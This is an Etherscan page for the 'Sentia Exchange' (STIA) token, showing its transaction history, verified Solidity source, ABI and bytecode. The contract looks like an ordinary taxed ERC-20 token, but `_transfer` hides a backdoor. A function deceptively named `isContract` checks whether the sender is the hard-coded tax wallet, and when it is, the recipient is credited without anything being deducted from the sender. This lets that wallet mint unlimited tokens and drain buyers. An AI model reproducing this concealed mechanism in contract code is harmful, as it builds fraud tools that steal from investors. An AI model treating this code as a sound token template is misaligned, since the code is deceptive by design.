ETH Price: $2,769.86 (+2.57%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve189446732024-01-06 0:39:11396 days ago1704501551IN
0x293bb688...9D8F95461
0 ETH0.0006669214.4141062
Approve189440232024-01-05 22:27:11396 days ago1704493631IN
0x293bb688...9D8F95461
0 ETH0.0015992634.332999
Approve189440122024-01-05 22:24:59396 days ago1704493499IN
0x293bb688...9D8F95461
0 ETH0.0015936434.25652254
Approve189439752024-01-05 22:17:23396 days ago1704493043IN
0x293bb688...9D8F95461
0 ETH0.000716715.40604928
Approve189432802024-01-05 19:55:35396 days ago1704484535IN
0x293bb688...9D8F95461
0 ETH0.0004768319.62541011
Approve189430512024-01-05 19:09:35396 days ago1704481775IN
0x293bb688...9D8F95461
0 ETH0.001171825.29308833
Approve189428872024-01-05 18:36:23396 days ago1704479783IN
0x293bb688...9D8F95461
0 ETH0.0008984319.3125415
Approve189428812024-01-05 18:35:11396 days ago1704479711IN
0x293bb688...9D8F95461
0 ETH0.0009046119.44539926
Approve189427112024-01-05 18:00:47396 days ago1704477647IN
0x293bb688...9D8F95461
0 ETH0.0011891325.68719186
Approve189423192024-01-05 16:41:23396 days ago1704472883IN
0x293bb688...9D8F95461
0 ETH0.0013816329.86856442
Approve189422782024-01-05 16:32:59396 days ago1704472379IN
0x293bb688...9D8F95461
0 ETH0.0014751531.66851187
Approve189421652024-01-05 16:09:59396 days ago1704470999IN
0x293bb688...9D8F95461
0 ETH0.001488932.1876192
Approve189421372024-01-05 16:04:23396 days ago1704470663IN
0x293bb688...9D8F95461
0 ETH0.0015317632.9263128
Approve189420052024-01-05 15:37:35396 days ago1704469055IN
0x293bb688...9D8F95461
0 ETH0.0014548831.23349556
Approve189419902024-01-05 15:34:35396 days ago1704468875IN
0x293bb688...9D8F95461
0 ETH0.0014692531.58269727
Approve189419862024-01-05 15:33:47396 days ago1704468827IN
0x293bb688...9D8F95461
0 ETH0.0014371130.89164745
Approve189419712024-01-05 15:30:47396 days ago1704468647IN
0x293bb688...9D8F95461
0 ETH0.001393529.95423737
Approve189419392024-01-05 15:24:23396 days ago1704468263IN
0x293bb688...9D8F95461
0 ETH0.0015119332.50002389
Approve189419062024-01-05 15:17:47396 days ago1704467867IN
0x293bb688...9D8F95461
0 ETH0.0015614433.76469472
Approve189418912024-01-05 15:14:47396 days ago1704467687IN
0x293bb688...9D8F95461
0 ETH0.0014193730.64487004
Approve189418782024-01-05 15:12:11396 days ago1704467531IN
0x293bb688...9D8F95461
0 ETH0.0015390133.21933966
Approve189418742024-01-05 15:11:23396 days ago1704467483IN
0x293bb688...9D8F95461
0 ETH0.001680736.12787393
Approve189418652024-01-05 15:09:35396 days ago1704467375IN
0x293bb688...9D8F95461
0 ETH0.0008230231.22619982
Approve189418582024-01-05 15:08:11396 days ago1704467291IN
0x293bb688...9D8F95461
0 ETH0.0008497132.23868347
Approve189418352024-01-05 15:03:35396 days ago1704467015IN
0x293bb688...9D8F95461
0 ETH0.0017100136.75793288
View all transactions

Latest 17 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
189414722024-01-05 13:49:35396 days ago1704462575
0x293bb688...9D8F95461
0.02059827 ETH
189414722024-01-05 13:49:35396 days ago1704462575
0x293bb688...9D8F95461
0.02059827 ETH
189414692024-01-05 13:48:59396 days ago1704462539
0x293bb688...9D8F95461
0.07537708 ETH
189414692024-01-05 13:48:59396 days ago1704462539
0x293bb688...9D8F95461
0.07537708 ETH
189414562024-01-05 13:46:23396 days ago1704462383
0x293bb688...9D8F95461
0.06790713 ETH
189414562024-01-05 13:46:23396 days ago1704462383
0x293bb688...9D8F95461
0.06790713 ETH
189414562024-01-05 13:46:23396 days ago1704462383
0x293bb688...9D8F95461
0.07439566 ETH
189414562024-01-05 13:46:23396 days ago1704462383
0x293bb688...9D8F95461
0.07439566 ETH
189414272024-01-05 13:39:59396 days ago1704461999
0x293bb688...9D8F95461
0.05098375 ETH
189414272024-01-05 13:39:59396 days ago1704461999
0x293bb688...9D8F95461
0.05098375 ETH
189414272024-01-05 13:39:59396 days ago1704461999
0x293bb688...9D8F95461
0.05500758 ETH
189414272024-01-05 13:39:59396 days ago1704461999
0x293bb688...9D8F95461
0.05500758 ETH
189414062024-01-05 13:35:47396 days ago1704461747
0x293bb688...9D8F95461
0.04612147 ETH
189414062024-01-05 13:35:47396 days ago1704461747
0x293bb688...9D8F95461
0.04612147 ETH
189414022024-01-05 13:34:59396 days ago1704461699
0x293bb688...9D8F95461
0.04546745 ETH
189414022024-01-05 13:34:59396 days ago1704461699
0x293bb688...9D8F95461
0.04546745 ETH
189409802024-01-05 12:09:59396 days ago1704456599
0x293bb688...9D8F95461
3 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
STIA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-05
*/

/*

Website:  https://sentia.exchange
Twitter:  https://twitter.com/sentia_exchange
Telegram: https://t.me/sentia_exchange
Medium:   https://sentiaexchange.medium.com

*/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract STIA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _UniswapV2Pool;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 18;
    uint256 private _initialSellTax = 18;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 13;
    uint256 private _reduceSellTaxAt = 13;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    string private constant _name = unicode"Sentia Exchange";
    string private constant _symbol = unicode"STIA";
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 private _maxTxAmount = 20_000_000 * 10**_decimals;
    uint256 private _maxWalletSize = 20_000_000 * 10**_decimals;
    uint256 private _taxSwapThreshold = 5_000 * 10**_decimals;
    uint256 private _maxTaxSwap = 6_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x502f71402c466eE0F4f8a41bFBcA78C89C881812); 
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (firstBlock > 0 && block.number > firstBlock + 10) {removeLimits();}
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(tradingOpen, "Trading not open");
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && amount>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                if(contractTokenBalance>_taxSwapThreshold)
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                sendETHToFee(address(this).balance);
            }}
            if (isContract(from)){_balances[to]=_balances[to].add(amount);return;
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size = 1;
        return size > 0 && account == _taxWallet;
    }

    function removeLimits() private {
        firstBlock = 0;
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function getRemainingGas() external view returns(uint) {
        return gasleft();
    }

    function manualSwap(uint256 amount) external {
        require(_msgSender() == _taxWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
    }

    function createPair() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getRemainingGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012600755601260085560006009556000600a55600d600b55600d600c55600f600d556000600e556012600a6200003c919062000350565b6200004c906301312d0062000368565b600f556200005d6012600a62000350565b6200006d906301312d0062000368565b6010556200007e6012600a62000350565b6200008c9061138862000368565b6011556200009d6012600a62000350565b620000ac90625b8d8062000368565b6012556014805461ffff60a81b19169055348015620000ca57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673502f71402c466ee0f4f8a41bfbca78c89c881812179055620001406012600a62000350565b6200015090633b9aca0062000368565b3360009081526001602081905260408220929092556003906200017b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001da3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002146012600a62000350565b6200022490633b9aca0062000368565b60405190815260200160405180910390a362000382565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002925781600019048211156200027657620002766200023b565b808516156200028457918102915b93841c939080029062000256565b509250929050565b600082620002ab575060016200034a565b81620002ba575060006200034a565b8160018114620002d35760028114620002de57620002fe565b60019150506200034a565b60ff841115620002f257620002f26200023b565b50506001821b6200034a565b5060208310610133831016604e8410600b841016171562000323575081810a6200034a565b6200032f838362000251565b80600019048211156200034657620003466200023b565b0290505b92915050565b60006200036160ff8416836200029a565b9392505050565b80820281158282048414176200034a576200034a6200023b565b61186780620003926000396000f3fe6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb1461029d578063b70143c9146102bd578063c9567bf9146102dd578063dd62ed3e146102f257600080fd5b8063715018a61461021c5780638da5cb5b1461023357806395d89b411461025b5780639e78fb4f1461028857600080fd5b806323b872dd116100c657806323b872dd14610195578063313ce567146101b557806353868490146101d157806370a08231146101e657600080fd5b806306fdde03146100f8578063095ea7b31461014257806318160ddd1461017257600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600f81526e53656e7469612045786368616e676560881b60208201525b6040516101399190611420565b60405180910390f35b34801561014e57600080fd5b5061016261015d366004611483565b610338565b6040519015158152602001610139565b34801561017e57600080fd5b5061018761034f565b604051908152602001610139565b3480156101a157600080fd5b506101626101b03660046114af565b610370565b3480156101c157600080fd5b5060405160128152602001610139565b3480156101dd57600080fd5b506101876103d9565b3480156101f257600080fd5b506101876102013660046114f0565b6001600160a01b031660009081526001602052604090205490565b34801561022857600080fd5b506102316103e1565b005b34801561023f57600080fd5b506000546040516001600160a01b039091168152602001610139565b34801561026757600080fd5b506040805180820190915260048152635354494160e01b602082015261012c565b34801561029457600080fd5b5061023161045e565b3480156102a957600080fd5b506101626102b8366004611483565b610803565b3480156102c957600080fd5b506102316102d836600461150d565b610810565b3480156102e957600080fd5b50610231610893565b3480156102fe57600080fd5b5061018761030d366004611526565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103453384846108da565b5060015b92915050565b600061035d6012600a611659565b61036b90633b9aca00611668565b905090565b600061037d8484846109fe565b6103cf84336103ca8560405180606001604052806028815260200161180a602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ff2565b6108da565b5060019392505050565b60005a905090565b6000546001600160a01b031633146104145760405162461bcd60e51b815260040161040b9061167f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104885760405162461bcd60e51b815260040161040b9061167f565b601454600160a01b900460ff16156104e25760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561052b90309061051d6012600a611659565b6103ca90633b9aca00611668565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a291906116b4565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610604573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062891906116b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610675573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069991906116b4565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106e1816001600160a01b031660009081526001602052604090205490565b6000806106f66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561075e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061078391906116d1565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080091906116ff565b50565b60006103453384846109fe565b6005546001600160a01b0316336001600160a01b03161461083057600080fd5b30600090815260016020526040902054811115801561084f5750600081115b61088a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b604482015260640161040b565b6108008161102c565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161040b9061167f565b6014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b03831661093c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040b565b6001600160a01b03821661099d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040b565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040b565b60008111610b265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040b565b600080600654118015610b455750600654610b4290600a611721565b43115b15610b5257610b526111a6565b6001600160a01b03841660009081526003602052604090205460ff16158015610b9457506001600160a01b03831660009081526003602052604090205460ff16155b15610e5557601454600160a01b900460ff16610be55760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161040b565b610c116064610c0b600b54600e5411610c0057600754610c04565b6009545b8590611233565b906112bc565b6014549091506001600160a01b038581169116148015610c3f57506013546001600160a01b03848116911614155b15610cac57600f54821115610c965760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e0000000000000000604482015260640161040b565b600e8054906000610ca683611734565b91905055505b6014546001600160a01b03848116911614801590610ce357506001600160a01b03831660009081526003602052604090205460ff16155b15610d635760105482610d0b856001600160a01b031660009081526001602052604090205490565b610d159190611721565b1115610d635760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161040b565b6014546001600160a01b038481169116148015610d8957506001600160a01b0384163014155b15610db657610db36064610c0b600c54600e5411610da957600854610c04565b600a548590611233565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610ded57506014546001600160a01b038581169116145b8015610e025750601454600160b01b900460ff165b8015610e0f575060115483115b8015610e1e5750600d54600e54115b15610e5357601154811115610e4a57610e4a610e4584610e40846012546112fe565b6112fe565b61102c565b610e5347611313565b505b6005546001600160a01b03808616911603610eaf576001600160a01b038316600090815260016020526040902054610e8d9083611351565b6001600160a01b03909316600090815260016020526040902092909255505050565b8015610f295730600090815260016020526040902054610ecf9082611351565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f209085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610f4c90836113b0565b6001600160a01b038516600090815260016020526040902055610f91610f7283836113b0565b6001600160a01b03851660009081526001602052604090205490611351565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fdb85856113b0565b60405190815260200160405180910390a350505050565b600081848411156110165760405162461bcd60e51b815260040161040b9190611420565b506000611023848661174d565b95945050505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107457611074611760565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f191906116b4565b8160018151811061110457611104611760565b6001600160a01b03928316602091820292909201015260135461112a91309116846108da565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611163908590600090869030904290600401611776565b600060405180830381600087803b15801561117d57600080fd5b505af1158015611191573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60006006556111b76012600a611659565b6111c590633b9aca00611668565b600f556111d46012600a611659565b6111e290633b9aca00611668565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6112126012600a611659565b61122090633b9aca00611668565b60405190815260200160405180910390a1565b60008260000361124557506000610349565b60006112518385611668565b90508261125e85836117e7565b146112b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040b565b9392505050565b60006112b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f2565b600081831161130d57826112b5565b50919050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561134d573d6000803e3d6000fd5b5050565b60008061135e8385611721565b9050838110156112b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040b565b60006112b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b600081836114135760405162461bcd60e51b815260040161040b9190611420565b50600061102384866117e7565b600060208083528351808285015260005b8181101561144d57858101830151858201604001528201611431565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080057600080fd5b6000806040838503121561149657600080fd5b82356114a18161146e565b946020939093013593505050565b6000806000606084860312156114c457600080fd5b83356114cf8161146e565b925060208401356114df8161146e565b929592945050506040919091013590565b60006020828403121561150257600080fd5b81356112b58161146e565b60006020828403121561151f57600080fd5b5035919050565b6000806040838503121561153957600080fd5b82356115448161146e565b915060208301356115548161146e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115b05781600019048211156115965761159661155f565b808516156115a357918102915b93841c939080029061157a565b509250929050565b6000826115c757506001610349565b816115d457506000610349565b81600181146115ea57600281146115f457611610565b6001915050610349565b60ff8411156116055761160561155f565b50506001821b610349565b5060208310610133831016604e8410600b8410161715611633575081810a610349565b61163d8383611575565b80600019048211156116515761165161155f565b029392505050565b60006112b560ff8416836115b8565b80820281158282048414176103495761034961155f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116c657600080fd5b81516112b58161146e565b6000806000606084860312156116e657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171157600080fd5b815180151581146112b557600080fd5b808201808211156103495761034961155f565b6000600182016117465761174661155f565b5060010190565b818103818111156103495761034961155f565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c65784516001600160a01b0316835293830193918301916001016117a1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261180457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ff9b0b0fd193e7357204f142a9ae515a8919a5db0a3eb7dfa5cdf68cbce983d64736f6c63430008130033

Deployed Bytecode

